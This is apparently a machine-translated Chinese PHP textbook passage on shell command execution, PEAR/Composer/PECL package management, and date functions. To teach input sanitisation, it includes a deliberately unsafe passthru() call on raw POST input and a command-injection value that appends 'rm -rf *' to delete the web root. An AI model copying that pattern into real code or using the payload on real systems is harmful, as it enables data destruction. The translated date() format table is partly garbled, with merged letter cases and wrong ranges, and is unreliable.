忽略对可能随后传递给系统级函数的用户输入进行清理,可能会使攻击者对您的信息存储和操作系统进行大规模内部破坏,篡改或删除 web 文件,并以其他方式获得对您的服务器的无限制访问。而这仅仅是开始。

注意

参见第十三章关于安全 PHP 编程的讨论。

作为净化输入如此重要的一个例子,考虑一个真实的场景。假设您提供一个从输入 URL 生成 pdf 的在线服务。一个很好的工具就是开源程序 wkhtmltopdf ( https://wkhtmltopdf.org/ ),它是一个开源的命令行工具,可以将 HTML 转换成 pdf:

%> wkhtmltopdf http://www.wjgilmore.com/ webpage.pdf

这将导致创建一个名为webpage.pdf的 PDF,其中将包含网站索引页面的快照。当然,大多数用户不能通过命令行访问您的服务器;因此,你需要创建一个更好控制的界面,比如一个网页。使用 PHP 的passthru()函数(在后面的“PHP 的程序执行函数”一节中介绍),您可以调用 wkhtmltopdf 并返回所需的 pdf,如下所示:

$document = $_POST['userurl'];
passthru("wkhtmltopdf $document webpage.pdf");

如果一个有事业心的攻击者冒昧地传递与所需 HTML 页面无关的附加输入,输入如下内容,会怎么样呢:

http://www.wjgilmore.com/ ; cd /var/www/; rm –rf *;

大多数 Unix shells 会将passthru()请求解释为三个独立的命令。首先是这样的:

wkhtmltopdf http://www.wjgilmore.com/

第二个命令是:

cd /var/www

第三个命令是:

rm -rf *

最后的命令是这样的:

webpage.pdf

其中两个命令肯定是意外的,可能会导致删除整个 web 文档树。防止这种尝试的一种方法是在将用户输入传递给 PHP 的任何程序执行函数之前对其进行净化。为此,有两个标准函数可以方便地使用:escapeshellarg()escapeshellcmd()

定界输入

escapeshellarg()函数用单引号和输入中的前缀(转义)引号分隔提供的参数。其原型如下:

string escapeshellarg(string arguments)

其效果是,当参数被传递给 shell 命令时,它将被认为是一个参数。这一点非常重要,因为它降低了攻击者将附加命令伪装成 shell 命令参数的可能性。因此,在之前噩梦般的场景中,整个用户输入将被括在单引号中,如下所示:

'http://www.wjgilmore.com/ ; cd /usr/local/apache/htdoc/; rm –rf *;'

结果将是 wkhtmltopdf 将简单地返回一个错误,而不是删除整个目录树,因为它不能解析拥有该语法的 URL。

逃避潜在的危险输入

escapeshellcmd()函数在与escapeshellarg()相同的前提下运行,通过转义 shell 元字符来清除潜在的危险输入。其原型如下:

string escapeshellcmd(string command)

这些字符包括以下:# & ; , | * ? , ~ < > ^ ( ) [ ] { } $ \\ \x0A \xFF

escapeshellcmd()应该用于整个命令,而escapeshellarg()应该用于单个参数。

PHP 的程序执行函数

本节介绍了几个函数(除了反斜线执行操作符之外),用于通过 PHP 脚本执行系统级程序。虽然乍一看,它们似乎在操作上完全相同,但每一个都有其语法上的细微差别。

执行系统级命令

exec()函数最适合于执行打算在服务器后台继续运行的操作系统级应用。其原型如下:

string exec(string command [, array &output [, int &return_var]])

虽然最后一行输出将被返回,但您可能希望所有的输出都被返回以供审查;您可以通过包含可选参数 output 来做到这一点,该参数将在完成由exec()指定的命令时由每行输出填充。此外,您可以通过包含可选参数 return_var 来发现所执行命令的返回状态。

虽然我可以采取简单的方法,演示如何使用exec()来执行 ls 命令(对于 Windows 用户来说是 dir ),返回目录列表,但是提供一个更实际的例子更有意义:如何从 PHP 调用 Perl 脚本。考虑下面的 Perl 脚本(languages.pl):

#! /usr/bin/perl
my @languages = qw[perl php python java c];
foreach $language (@languages) {
     print $language."<br />";
}

注意下面的例子要求 Perl 安装在您的系统上。Perl 是许多 Linux 发行版的一部分,它也可以安装在 Windows 系统上。可以从 ActiveState https://www.activestate.com/activeperl/downloads 下载版本。

Perl 脚本非常简单;不需要第三方模块,所以您只需投入很少的时间就可以测试这个示例。如果您运行的是 Linux,那么您很有可能立即运行这个例子,因为 Perl 安装在每一个值得尊敬的发行版上。如果您运行的是 Windows,请查看 ActiveState 的( https://www.activestate.com ) ActivePerl 发行版。

languages.pl一样,这里显示的 PHP 脚本并不完全是火箭科学;它只是调用 Perl 脚本,指定将结果放入名为\(results 的数组中。\)result s的内容随后被输出到浏览器:

<?php
    $outcome = exec("languages.pl", $results);
    foreach ($results as $result) echo $result;
?>

结果如下:

perl
php
python
java
c

检索系统命令的结果

当您想要输出执行命令的结果时,system()功能很有用。其原型如下:

string system(string command [, int return_var])

不像exec()那样通过可选参数返回输出,输出的最后一行直接返回给调用者。但是,如果您想查看被调用程序的执行状态,您需要使用可选参数return_var指定一个变量。

例如,假设您想要列出特定目录中的所有文件:

$mymp3s = system("ls -1 /tmp/ ");

下面的例子调用前面提到的languages.pl脚本,这次使用的是system():

<?php
    $outcome = system("languages.pl", $results);
    echo $outcome
?>

返回二进制输出

passthru()函数在功能上与exec()相似,除了如果您想将二进制输出返回给调用者,应该使用它。其原型如下:

void passthru(string command [, int &return_var])

例如,假设您想在将 GIF 图像显示到浏览器之前将其转换为 PNG。您可以使用 Netpbm 图形包,可在 GPL 许可下从 https://netpbm.sourceforge.net 获得:

<?php
    header('ContentType:image/png');
    passthru('giftopnm cover.gif | pnmtopng > cover.png');
?>

执行带反斜杠的 Shell 命令

用反斜杠分隔字符串向 PHP 发出信号,表明该字符串应该作为 shell 命令执行,并返回任何输出。请注意,反引号不是单引号,而是一个倾斜的兄弟,通常与大多数美国键盘上的波浪号(~)共用一个键。下面是一个例子:

<?php
    $result = `date`;
    printf("<p>The server timestamp is: %s", $result);
?>

这将返回类似于以下内容的内容:

The server timestamp is: Sun Mar 3 15:32:14 EDT 2010

在基于 Windows 的系统上,date 函数的功能略有不同,输出将包含输入新日期的提示。

反勾运算符在操作上与下面的shell_exec()函数相同。

反斜线的替代方法

shell_exec()函数提供了反斜杠的语法替代,执行 shell 命令并返回输出。其原型如下:

string shell_exec(string command)

重新考虑前面的例子,这次我们将使用shell_exec()函数来代替反斜线:

<?php
    $result = shell_exec('date');
    printf("<p>The server timestamp is: %s</p>", $result);
?>

摘要

虽然单独使用 PHP 来构建有趣而强大的 web 应用肯定会有很长的路要走,但是当功能与底层平台和其他技术集成时,这种能力会大大扩展。在本章中,这些技术包括底层操作系统和文件系统。在本书的其余部分,你会反复看到这个主题。

在下一章,将向您介绍 PHP 扩展和应用库(PEAR)。

十一、第三方库

优秀的程序员写出伟大的代码。伟大的程序员重用其他程序员的伟大代码。幸运的是,对于 PHP 程序员来说,有几个有用的解决方案可以用来查找、安装和管理第三方库、实用程序和框架。

有两种方法可以扩展 PHP 的功能。简单的方法是使用 PHP 脚本语言编写函数和类:从解决特定问题的单个函数到可用于实现无数解决方案的类库和函数库。较大的库通常被称为使用特定模式的框架,如模型视图控制器(MVC)。第二种方法是使用 C 创建函数和类,这些函数和类可以编译成一个共享对象或者静态链接到主 PHP 二进制文件中。当功能存在于 C 库中,如 MySQL 客户端库,并且希望 PHP 可以使用该功能时,通常会使用这种方法。PHP 中大多数可用的功能都是作为现有 C 库的包装器编写的。

本章介绍了通过各种工具扩展 PHP 的一些方法:

  • PHP 扩展和应用库(PEAR)简介。PEAR 与 PHP 捆绑在一起,但是由于 Composer 工具中提供了更现代的技术,所以没有看到太大的发展。

  • Composer 简介,它是一个“依赖管理器”,已经成为分发库的事实上的标准,并且是当今许多最流行的 PHP 项目的核心组件,其中包括 FuelPHP、Symfony、Laravel 和 Zend Framework 3。

  • 用 c 写的 PECL 和其他扩展的介绍。

介绍梨

PEAR(PHP 扩展和应用库的首字母缩写)有大约 600 个包,分属于 37 个主题,但是其中大部分都没有得到积极的开发。这里提到它是因为它与许多 PHP 安装捆绑在一起,并且很容易通过简单的命令行工具访问基本功能。在安装任何第三方库之前。你应该看看它的网站,看看这个项目最后更新的时间。以及社区有多大。如果项目有一段时间没有发生任何事情,那么它很可能有一些安全问题已经很长时间没有解决了,并且您可能会通过使用这些特性来增加项目的风险。

安装 PEAR

尽管 PEAR 与 PHP 紧密相连,但它并不总是在安装 PHP 时安装。在某些情况下,您必须安装额外的软件包或直接从网站安装。在 CentOS 7 系统上,有两个版本的 PEAR 包可以从 IUS 仓库获得。这些被称为 php56u-pear 和 php70u-pear。顾名思义,它们是针对特定版本的 PHP 的。要安装其中一个,只需像这样运行 yum 命令:

%>sudo yum install php70u-pear

其他发行版也有类似的命令。

您也可以选择从 PEAR 网站上的脚本安装 PEAR(PEAR/PHP . net)。只需下载文件 https://pear.php.net/go-pear.phar 并保存到本地文件夹。phar 文件类型表示 PHP 脚本和文件存档混合文件格式。在命令行上执行此操作将运行一个交互式应用,该程序将引导您完成安装过程。

在 Linux 系统上,这看起来像这样:

$ php go-pear.phar

在 Windows 上,您可以使用以下命令:

C:\> c:\php7\php.exe go-pear.phar

系统将提示您输入目录和文件的位置,当安装完成时,系统将准备好使用pear命令。

更新 PEAR

尽管现在 PEAR 的维护工作越来越少,但新版本还是会不时发布,您可以通过运行以下命令来升级到最新版本,从而轻松确保您拥有最新版本:

%>pear upgrade

使用 PEAR 包管理器

PEAR 包管理器允许您浏览和搜索贡献包,查看最近的发布,以及下载包。它通过命令行执行,使用以下语法:

%>pear [options] command [command-options] <parameters>

为了更好地了解软件包管理器,打开命令提示符并执行以下命令:

%>pear

你会看到一个常用命令列表和一些用法信息。这个输出相当长,所以这里不再赘述。如果你有兴趣学习更多关于本章剩余部分没有涉及的命令,在包管理器中执行该命令,提供如下的help参数:

%>pear help <command>

小费

如果 PEAR 因为没有找到命令而没有执行,那么您需要将可执行文件目录(pear/bin)添加到您的系统路径中。

安装 PEAR 包

安装 PEAR 包是一个令人惊讶的自动化过程,只需执行install命令即可完成。一般语法如下:

%>pear install [options] package

例如,假设您想要安装Auth包。命令和相应的输出如下:

%>pear install Auth
WARNING: "pear/DB" is deprecated in favor of "pear/MDB2"
WARNING: "pear/MDB" is deprecated in favor of "pear/MDB2"
WARNING: "pear/HTTP_Client" is deprecated in favor of "pear/HTTP_Request2"
Did not download optional dependencies: pear/Log, pear/File_Passwd, pear/Net_POP3, pear/DB, pear/MDB, pear/MDB2, pear/Auth_RADIUS, pear/Crypt_CHAP, pear/File_SMBPasswd, pear/HTTP_Client, pear/SOAP, pear/Net_Vpopmaild, pecl/vpopmail, pecl/kadm5, use --alldeps to download automatically
pear/Auth can optionally use package "pear/Log" (version >= 1.9.10)
pear/Auth can optionally use package "pear/File_Passwd" (version >= 1.1.0)
pear/Auth can optionally use package "pear/Net_POP3" (version >= 1.3.0)
...
pear/Auth can optionally use PHP extension "imap"
pear/Auth can optionally use PHP extension "saprfc"
downloading Auth-1.6.4.tgz ...
Starting to download Auth-1.6.4.tgz (56,048 bytes)
.............done: 56,048 bytes
install ok: channel://pear.php.net/Auth-1.6.4

从这个例子中可以看出,许多包还提供了一个可选依赖项列表,如果安装了这个列表,将会扩展可用的特性。例如,安装File_Passwd包增强了Auth的功能,使其能够验证几种类型的密码文件。启用 PHP 的 IMAP 扩展允许Auth验证 IMAP 服务器。

假设安装成功,您就可以按照本章前面演示的相同方式开始使用这个包了。

自动安装所有依赖项

默认情况下,PEAR 的更高版本将安装所有必需的包依赖项。但是,您可能还希望安装可选的依赖项。为此,请传递-a(或--alldeps)选项:

%>pear install -a Auth_HTTP

查看已安装的 PEAR 包

查看机器上安装的包很简单;只需执行以下命令:

$ pear list

以下是一些输出示例:

Installed packages, channel pear.php.net:
=========================================
Package          Version State
Archive_Tar      1.3.11  stable
Console_Getopt   1.3.1   stable
PEAR             1.9.4   stable
Structures_Graph 1.0.4   stable
XML_Util         1.2.1   stable

介绍作曲家

在我看来,Composer ( http://getcomposer.org/ )是 PHP 开发人员显而易见的选择,因为它有直观的包管理方法和基于每个项目管理第三方项目依赖的能力。这种情绪很常见,因为 Composer 已经被许多流行的 PHP 项目作为首选解决方案,包括 FuelPHP ( http://fuelphp.com/ )、Symfony ( http://symfony.com/ )、Laravel ( http://laravel.com/ )和 Zend Framework 2 ( http://framework.zend.com/ )。在本节中,我将指导您完成安装 Composer 的过程,然后使用 Composer 在一个示例项目中安装两个流行的第三方库。

安装作曲者

Composer 的安装过程与 PEAR 的安装过程非常相似,需要您下载一个安装程序,然后使用 PHP 二进制文件执行该安装程序。在这一节中,我将向您展示如何在 Linux、macOS 和 Windows 上安装 Composer。

在 Linux 和 macOS 上安装 Composer

在 Linux、macOS 和 Windows 上安装 Composer 是微不足道的;只需运行以下四个命令行脚本:

php -r "copy('https://getcomposer.org/installer', 'composer-setup.php');"
php -r "if (hash_file('SHA384', 'composer-setup.php') === '544e09ee996cdf60ece3804abc52599c22b1f40f4323403c44d44fdfdd586475ca9813a858088ffbc1f233e9b180f061') { echo 'Installer verified'; } else { echo 'Installer corrupt'; unlink('composer-setup.php'); } echo PHP_EOL;"
php composer-setup.php
php -r "unlink('composer-setup.php');"

请注意,这包括对哈希的检查,因此这仅适用于当前版本(Composer 版本 1.6.3 2018-01-31 16:28:17)。建议你去 https://getcomposer.org/download 获取当前 hash。

另外,如果您在 Windows 上运行这个命令,那么在运行前两行之前,您必须通过向 php.ini 文件添加 extension=openssl.dll 来启用 openssl 扩展。

安装完成后,您会发现当前目录中有一个名为composer.phar的文件。虽然您可以通过将该文件传递给 PHP 二进制文件来运行 Composer,但我建议通过将该文件移动到您的/usr/local/bin目录来使其直接可执行,如下所示:

$ mv composer.phar /usr/local/bin/composer

在 Windows 上安装编写器

在 Windows 上安装 Composer 也可以通过 Composer 团队提供的特定于 Windows 的安装程序来完成。你可以从这里下载安装程序: https://getcomposer.org/Composer-Setup.exe 。下载后,运行安装程序以完成安装过程。这将提示您 PHP 的位置,并可能对 php.ini 文件进行一些更新。它将保存现有 php.ini 文件的副本以供参考。

使用作曲家

Composer 通过使用一个名为composer.json的简单 JSON 格式文件来管理项目依赖关系。该文件位于项目的根目录中。例如,下面的composer.json文件将指示 Composer 管理( http://doctrine-project.org )条令和 Swift Mailer ( http://swiftmailer.org/ )包:

{
    "require": {
        "doctrine/orm": "*",
        "swiftmailer/swiftmailer": "5.0.1"
    }
}

在这个特殊的例子中,我要求 Composer 安装教义的 ORM 库的最新版本(如星号所示);然而,我对 Swift Mailer 软件包更有选择性,我要求 Composer 专门安装 5.0.1 版本。这种程度的灵活性使您有机会管理满足项目特定需求的包版本。

准备好composer.json文件后,通过在项目根目录中执行composer install来安装所需的包,如下所示:

$ composer install
Loading composer repositories with package information
Installing dependencies (including require-dev)
  - Installing swiftmailer/swiftmailer (v5.0.1)
    Downloading: 100%

  - Installing doctrine/common (2.3.0)
    Downloading: 100%

  - Installing symfony/console (v2.3.1)
    Downloading: 100%

  - Installing doctrine/dbal (2.3.4)
    Downloading: 100%

  - Installing doctrine/orm (2.3.4)
    Downloading: 100%

symfony/console suggests installing symfony/event-dispatcher ()
doctrine/orm suggests installing symfony/yaml (If you want to use YAML Metadata Mapping Driver)

Writing lock file
Generating autoload files

完成后,您将在项目的根目录中找到一个新文件和一个目录。该目录名为vendor,它包含与您刚刚安装的依赖项相关的代码。这个目录还包含一个名为autoload.php的便利文件,当包含在您的项目中时,您的依赖项将自动可用,而无需使用require语句。

新文件是composer.lock,它实际上将您的项目锁定在您上次运行composer install命令时指定的特定项目版本中。如果您将项目代码提供给其他人,这些用户可以放心,他们将使用与您相同的依赖版本,因为运行composer install将导致 Composer 引用这个锁文件来获得安装指令,而不是composer.json

当然,您偶尔会希望将自己的依赖项更新到新版本;为此,只需运行以下命令:

$ composer update

这将导致任何新的依赖版本被安装(假设composer.json文件已经以允许这样做的方式被更新),并且锁文件被更新以反映这些改变。您也可以通过如下方式传递名称来更新特定的依赖关系:

$ composer update doctrine/orm

在接下来的几章中,我将回到 Composer,用它来安装各种其他有用的第三方库。

为了获得最新版本的 composer,您可以运行self-update选项。这将检查最新版本,并在必要时更新 composer.phar。

$ composer self-update

这将显示类似如下的输出:

You are already using composer version 1.6.3 (stable channel).

或者如果提供了版本更新:

Updating to version 1.6.3 (stable channel).
   Downloading (100%)
Use composer self-update --rollback to return to version 1.5.5

用 C 库扩展 PHP

PECL 是一个用 C 编写的 PHP 扩展库。与用 PHP 编写的相同功能相比,用 C 编写的扩展通常能提供更好的性能。这些扩展通常是现有 C 库的包装,用于向 PHP 开发人员公开这些库的功能。托管在 https://pecl.php.net 的 PECL 扩展是常用的扩展,但也可以在 GitHub 上找到扩展,如这个示例所示,演示了如何下载、编译和安装第三方PHP 扩展。

该扩展是 Redis 库的一个包装器,可以从 https://redis.io 下载,或者与您正在使用的操作系统的软件包管理器一起安装。Redis 是一个内存缓存系统,可以用来存储键/值对,以便快速方便地访问。

为了安装该软件包,您可以使用以下命令启动:

$ git clone git@github.com:phpredis/phpredis.git

这将创建一个名为phpredis的目录。第一步是导航到该目录并运行命令phpize。这个命令将配置扩展,使文件与当前的 PHP 安装一起工作。根据您安装的实际版本,输出看起来会像这样。

$ phpize
PHP Api Version:         20180123
Zend Module Api No:      20170718
Zend Extension Api No:   320170718

下一步是运行配置脚本并编译扩展。这是通过以下两个命令完成的:

$ ./configure –enable-redis
$ make

如果一切安装正确,这将生成扩展,并准备好安装在系统上。使用以下命令完成安装:

$ sudo make install

这将把名为 redis.so 的文件复制到扩展目录中,您需要做的就是将extension=redis.so添加到 php.ini 中并重启 web 服务器。

配置 PHP 扩展时有两个常见的选项。在这个例子中,当扩展是独立的时,使用选项–enable-<name>。不需要外部库来编译或链接扩展。如果扩展依赖于外部库,它们通常使用–with-<name>选项进行配置。

摘要

包管理解决方案,如 PEAR、Composer 和 PECL,可以成为快速创建 PHP 应用的主要催化剂。希望这一章能让您相信 PEAR 存储库节省了大量时间。您还了解了 PEAR 包管理器以及如何管理和使用包。

后面的章节将会适当地介绍额外的软件包,向您展示它们如何真正地加速开发并增强您的应用的功能。

十二、日期和时间

基于时间和日期的信息在我们的生活中扮演着重要的角色,因此,程序员通常必须在他们的网站中与时态数据争论。一个教程是什么时候出版的?最近是否更新了产品的定价信息?办公助理是什么时候登录会计系统的?公司网站在一天中的哪个时段访问量最大?这些问题以及无数其他与时间相关的问题经常出现,这使得对这些问题的适当考虑对于编程工作的成功至关重要。

本章介绍了 PHP 强大的日期和时间操作能力。在提供了一些关于 Unix 如何处理日期和时间值的初步信息之后,在“Date Fu”一节中,您将学习如何以多种有用的方式处理时间和日期。最后,介绍了改进的日期和时间操作功能。

Unix 时间戳

将我们世界中经常不协调的方面融入编程环境的严格约束中可能是一件乏味的事情。这类问题在处理日期和时间时尤为突出。例如,假设您的任务是计算两个时间点之间的天数差,但是日期以格式2010 年 7 月 4 日下午 3:452011 年 12 月 7 日 18:17 提供。正如您可能想象的那样,弄清楚如何以编程方式做到这一点将是一件令人生畏的事情。你需要的是一种标准格式,某种关于所有日期和时间如何呈现的协议。优选地,该信息将以某种标准化的数字格式提供,例如 20100704154500 和 20111207181700。在编程领域,以这种方式格式化的日期和时间值通常被称为时间戳。

然而,即使这种改善的情况也有其问题。例如,这个提议的解决方案仍然没有解决时区、夏令时或日期格式的文化差异带来的挑战。您需要根据单个时区进行标准化,并设计一种不可知的格式,这种格式可以很容易地转换成任何需要的格式。以秒为单位表示时态值并以协调世界时(UTC)为基础怎么样?事实上,早期的 Unix 开发团队采用了这种策略,使用世界协调时 1970 年 1 月 1 日 00:00:00 作为计算所有日期的基础。这个日期通常被称为 Unix 纪元 因此,上例中格式不一致的日期实际上分别表示为 1278258300 和 1323281820。

Unix 时间戳表示为一个整数值。整数的实际大小取决于操作系统的版本和 PHP 运行的版本。在 32 位版本的 PHP 中,整数值的范围从-2,147,483,648 到 2,147,483,647。这些值对应于 12/13/1901 20:45:52 和 01/19/2038 03:14:07,这两个值都采用 UTC 格式。对于 64 位系统,整数值的范围从–9,223,372,036,854,775,808 到 9,223,372,036,854,775,807,对应于 01/27/-292277022657 08:29:52 到 12/04/2922277026596 15:30:07 之间的日期这对大多数 PHP 开发人员来说已经足够宽了。

函数time()将返回当前日期和时间的时间戳。该函数不接受任何参数。

警告

您可能想知道是否可以使用 Unix 纪元之前的日期(世界协调时 1970 年 1 月 1 日 00:00:00)。1970 年之前的日期时间值将由负数表示。

PHP 的日期和时间库

即使是最简单的 PHP 应用也至少包含一些 PHP 的日期和时间相关函数。无论是验证日期、以某种特定方式格式化时间戳,还是将人类可读的日期值转换为相应的时间戳,这些函数在处理相当复杂的任务时都非常有用。

注意

你的公司可能位于俄亥俄州,但公司网站可以托管在任何地方,无论是德克萨斯州、加利福尼亚州,甚至是东京。如果您希望日期和时间的表示和计算基于东部时区,这可能会带来问题,因为默认情况下,PHP 将依赖于操作系统的时区设置。事实上,如果您没有通过配置date.timezone指令在php.ini文件中正确设置系统的时区,或者没有使用date_default_timezone_set()函数设置时区,就会产生不同的错误级别。更多信息参见 PHP 手册。

验证日期

虽然大多数读者可能记得在小学时学过“九月三十日”这首诗 1 ,但我们中的许多人不太可能会背诵它,包括在场的人。幸运的是,checkdate()函数很好地完成了验证日期的任务,如果提供的日期有效,则返回TRUE,否则返回FALSE。其原型如下:

Boolean checkdate(int month, int day, int year)

让我们考虑几个例子:

echo "April 31, 2017: ".(checkdate(4, 31, 2017) ? 'Valid' : 'Invalid');
// Returns false, because April only has 30 days

echo "February 29, 2016: ".(checkdate(02, 29, 2016) ? 'Valid' : 'Invalid');
// Returns true, because 2016 is a leap year

echo "February 29, 2015: ".(checkdate(02, 29, 2015) ? 'Valid' : 'Invalid');
// Returns false, because 2015 is not a leap year

格式化日期和时间

date()函数返回一个日期和/或时间的字符串表示形式,该表示形式根据预定义格式指定的指令和当前选择的时区进行格式化。其原型如下:

string date(string format [, int timestamp])

如果没有提供可选的第二个参数,系统将使用与调用函数的时间相对应的时间戳(当前时间戳)。

表 12-1 突出了最有用的格式化参数。(原谅我们放弃 Swatch 互联网时间参数的决定。 2

表 12-1

date()功能的格式参数

|

参数

|

描述

|

例子

|
| --- | --- | --- |
| A | 小写的午前和午后 | 上午或下午 |
| A | 大写的午前和午后 | 上午或下午 |
| D | 一个月中的某一天,带前导零 | 01 至 31 |
| D | 一天的三个字母的文本表示 | 周一至周日 |
| E | 时区标识符 | 美国/纽约 |
| F | 月份的完整文本表示 | 一月到十二月 |
| G | 12 小时格式,不带零 | 1 到 12 岁 |
| G | 24 小时格式,不带零 | 0 到 23 |
| H | 12 小时格式,带零 | 01 到 12 |
| H | 24 小时格式,带零 | 00 到 23 |
| i | 分钟,带零 | 01 到 60 |
| I | 夏令时 | 0 表示否,1 表示是 |
| j | 一个月中的某一天,不带零 | 1 至 31 |
| l | 日期的文本表示 | 周一到周日 |
| L | 闰年 | 0 表示否,1 表示是 |
| m | 月份的数字表示,带零 | 01 到 12 |
| M | 月份的三个字母的文本表示 | 一月到十二月 |
| n | 月份的数字表示,不带零 | 1 到 12 岁 |
| O | 与格林威治标准时间(GMT)的时差 | –0500 |
| r | 根据 RFC 2822 格式化的日期 | 2010 年 4 月 19 日 22:37:00-0500 |
| S | 秒,带零 | 00 到 59 |
| S | 日的序数后缀 | 第一,第二,第三,第四 |
| t | 一个月的总天数 | 28 至 31 岁 |
| T | 时区 | PST、MST、CST、EST 等。 |
| U | 自 Unix 纪元以来的秒数(时间戳) | One billion one hundred and seventy-two million three hundred and forty-seven thousand nine hundred and sixteen |
| w | 工作日的数字表示 | 0 表示周日到 6 表示周六 |
| W | ISO-8601 年的周数 | 1 到 52 或 1 到 53,取决于一周结束的那一天。更多信息参见 ISO 8601 标准。 |
| Y | 年份的四位数表示 | 从 1901 年到 2038 年 |
| z | 一年中的某一天 | 0 到 364 |
| Z | 时区偏移量(秒) | –43200 至 50400 |

如果传递可选的时间戳,用 Unix 时间戳格式表示,date()将返回该日期和时间的相应字符串表示。如果没有提供时间戳,将使用当前的 Unix 时间戳。

尽管多年来经常使用 PHP,许多 PHP 程序员仍然需要访问文档来刷新他们对表 12-1 中提供的参数列表的记忆。因此,尽管你不一定能通过简单回顾几个例子来记住如何使用这个函数,但是让我们来看看这些例子,让你更清楚地了解date()到底能完成什么。

第一个例子演示了date()最常见的用法之一,它只是向浏览器输出一个标准日期:

echo "Today is ".date("F d, Y");
// Today is April  20, 2017

下一个示例演示了如何输出工作日:

echo "Today is ".date("l");
// Today is Thursday

让我们尝试更详细地呈现当前日期:

$weekday = date("l");
$daynumber = date("jS");
$monthyear = date("F Y");

printf("Today is %s the %s day of %s", $weekday, $daynumber, $monthyear);

这将返回以下内容:

Today is Thursday the 20th day of April 2017

请记住,输出将根据脚本执行的日期而变化。您可能想将与参数无关的字符串直接插入到date()函数中,就像这样:

echo date("Today is l the ds day of F Y");

事实上,这在某些情况下确实有效;然而,结果可能是不可预测的。例如,执行上述代码会产生以下结果:

UTC201822am18 5919 Monday 3103UTC 2219 22am18 2018f January 2018

注意,标点符号与任何参数都不冲突,所以在必要时可以随意插入。例如,要将日期格式化为 mm-dd-yyyy,请使用以下内容:

echo date("m-d-Y");
// 04-20-2017

与时间一起工作

date()函数也可以产生与时间相关的值。让我们看几个例子,从简单地输出当前时间开始:

echo "The time is ".date("h:i:s");
// The time is 07:44:53

但是现在是早上还是晚上?只需添加a参数:

echo "The time is ".date("h:i:sa");
// The time is 07:44:53pm

或者您可以通过使用 H 而不是 H 来切换到 24 小时格式:

echo "The time is ".date("H:i:s");
// The time is 19:44:53

了解当前时间的更多信息

gettimeofday()函数返回一个由当前时间元素组成的关联数组。其原型如下:

mixed gettimeofday([boolean return_float])

默认行为是返回由以下四个值组成的关联数组:

  • dsttime : 使用夏令时算法,因地理位置而异。有 11 个可能的值:0(不实施夏令时)1(美国)2(澳大利亚)3(西欧)4(中欧)5(东欧)6(加拿大)7(英国和爱尔兰)8(罗马尼亚)9(土耳其)10(澳大利亚 1986 年版本)。

  • minuteswest : 格林威治以西的分钟数。

  • sec:Unix 纪元以来的秒数。

  • usec : 时间分数取代整秒值的微秒数。

在美国东部时间 2018 年 1 月 21 日 15:21:30 从测试服务器执行gettimeofday()会产生以下输出:

Array (
  [sec] => 1274728889
  [usec] => 619312
  [minuteswest] => 240
  [dsttime] => 1
)

当然,可以将输出分配给一个数组,然后根据需要引用每个元素:

$time = gettimeofday();
$UTCoffset = $time['minuteswest'] / 60;
printf("Server location is %d hours west of UTC.", $UTCoffset);

这将返回以下内容:

Server location is 5 hours west of UTC.

可选参数return_float使gettimeofday()以浮点值的形式返回当前时间。

将时间戳转换为用户友好的值

getdate()函数接受一个时间戳并返回一个由它的组件组成的关联数组。除非提供了 Unix 格式的时间戳,否则返回的组件基于当前日期和时间。其原型如下:

array getdate([int timestamp])

总共返回 11 个数组元素,包括:

  • hours : 小时的数字表示。范围是 0 到 23。

  • mday : 一个月中某一天的数字表示。范围是 1 到 31。

  • minutes : 分钟的数值表示。范围是 0 到 59。

  • mon : 月份的数字表示。范围是 1 到 12。

  • month : 表示月份的完整文本,例如,七月。

  • seconds : 秒的数值表示。范围是 0 到 59。

  • wday : 星期几的数字表示,例如,0 表示星期日。

  • weekday : 一周中某一天的完整文本表示,例如,星期五。

  • yday : 一年中某一天的数值偏移量。范围是 0 到 364。

  • year : 四位数字表示年份,例如 2018。

  • 0 : 自 Unix 纪元(时间戳)以来的秒数。

考虑时间戳 1516593843(2018 年 1 月 21 日 20:04:03 PST)。让我们将它传递给getdate()并检查数组元素:

Array (
    [seconds] => 3
    [minutes] => 4
    [hours] => 4
    [mday] => 22
    [wday] => 1
    [mon] => 1
    [year] => 2018
    [yday] => 21
    [weekday] => Monday
    [month] => January
    [0] => 1516593843
)

使用时间戳

PHP 提供了两个处理时间戳的函数:time()mktime()。前者用于检索当前时间戳,而后者用于检索对应于特定日期和时间的时间戳。本节将介绍这两种功能。

确定当前时间戳

time()函数对于检索当前的 Unix 时间戳非常有用。其原型如下:

int time()

以下示例在 2017 年 4 月 20 日 21:19:00 PDT 执行:

echo time();

这会产生相应的时间戳:

1516593843

使用前面介绍的date()函数,这个时间戳可以在以后转换回人类可读的日期:

echo date("F d, Y H:i:s", 1516593843);

这将返回以下内容:

January 22, 2018 04:04:03

基于特定的日期和时间创建时间戳

mktime()函数对于根据给定的日期和时间生成时间戳非常有用。如果没有提供日期和时间,则返回当前日期和时间的时间戳。其原型如下:

int mktime([int hour [, int minute [, int second [, int month
            [, int day [, int year]]]]]])

每个可选参数的目的应该是显而易见的,所以我不会一一赘述。例如,如果您想知道 2018 年 1 月 22 日晚上 8:35 的时间戳,您只需输入适当的值:

echo mktime(20,35,00,1,22,2018);

这将返回以下内容:

1516653300

这对于计算两个时间点之间的差异特别有用(在本章的后面,我将向您展示计算日期差异的另一种解决方案)。例如,今天的午夜(2018 年 1 月 22 日)和 2018 年 4 月 15 日的午夜之间有多少小时?

<?php
$now = mktime();
$taxDeadline = mktime(0,0,0,4,15,2018);

// Difference in seconds
$difference = $taxDeadline - $now;

// Calculate total hours
$hours = round($difference / 60 / 60);

echo "Only ".number_format($hours)." hours until the tax deadline!";

这将返回以下内容:

Only 1,988 hours until the tax deadline!

日期福

本节演示了几个最常请求的与日期相关的任务,其中一些只涉及一个函数,而另一些涉及几个函数的某种组合。

显示本地化的日期和时间

在这一章,实际上也是这本书,美国化的时间和货币格式被普遍使用,例如 04-12-10 和$2,600.93。然而,世界上的其他地方使用不同的日期和时间格式、货币,甚至字符集。鉴于互联网的全球影响力,你可能不得不创建一个能够遵守本地化格式的应用。事实上,忽略这一点会造成相当大的混乱。例如,假设您要创建一个网站,预订佛罗里达州奥兰多的一家酒店。这家酒店很受各国公民的欢迎,所以您决定创建几个本地化版本的网站。你应该如何处理大多数国家使用他们自己的货币和日期格式的事实,更不用说不同的语言了?虽然您可以创建一个繁琐的方法来管理这些事情,但它可能容易出错,并且需要一些时间来部署。幸运的是,PHP 提供了一组内置的特性来本地化这种类型的数据。

PHP 不仅可以方便日期、时间、货币等的正确格式化,还可以相应地翻译月份名称。在这一节中,您将了解如何利用这一特性根据您喜欢的任何地点来格式化日期。这样做本质上需要两个函数:setlocale()strftime() .接下来将介绍这两个函数,并给出几个例子。

设置默认区域设置

